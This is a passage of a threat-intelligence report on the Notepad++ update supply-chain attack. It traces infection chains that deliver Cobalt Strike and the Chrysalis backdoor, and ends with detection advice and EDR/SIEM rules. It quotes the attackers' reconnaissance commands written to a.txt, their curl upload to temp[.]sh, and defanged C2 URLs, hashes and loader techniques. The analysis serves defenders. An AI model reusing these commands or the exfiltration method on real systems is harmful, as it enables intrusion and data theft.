The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.
As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:
Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.
All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:
As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.
The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.
The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.
Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:
cmd /c whoami >> a.txt
cmd /c tasklist >> a.txt
cmd /c systeminfo >> a.txt
cmd /c netstat -ano >> a.txt
Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.
The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:
Changed the system information upload URL to https://self-dns.it[.]com/list;
Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.
Chain #3: October 2025
In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:
BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).
This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.
Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:
In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
The Beacon configurations are encrypted with the XOR key CRAZY;
Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).
Return of chain #2 and changes in URLs: October 2025
In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.
Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:
http://95.179.213[.]0/update/install.exe;
http://95.179.213[.]0/update/update.exe;
http://95.179.213[.]0/update/AutoUpdater.exe.
We didn’t observe any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we didn’t see any payloads being deployed since November 2025.
Conclusion
Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:
The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:
Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
Use the specific IoCs listed below to identify known malicious domains and files.
Let’s take a closer look at Kaspersky Next EDR Expert.
One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.
In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.
In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.
To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package – ENG.
The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:
Indicators of compromise:
malicious URLs used to extract information from the targeted infrastructure;
malicious file names and hashes that were detected in this campaign.
Suspicious activity on the host:
unusual command lines specific to these attacks;
suspicious network activity from Notepad++ processes and an abnormal process tree;
traces of data collection, e.g. single-character file names.
Some rules may need to be adjusted if they trigger on legitimate activity, such as administrators’ or inventory agents’ actions.
We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.
For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.
Login
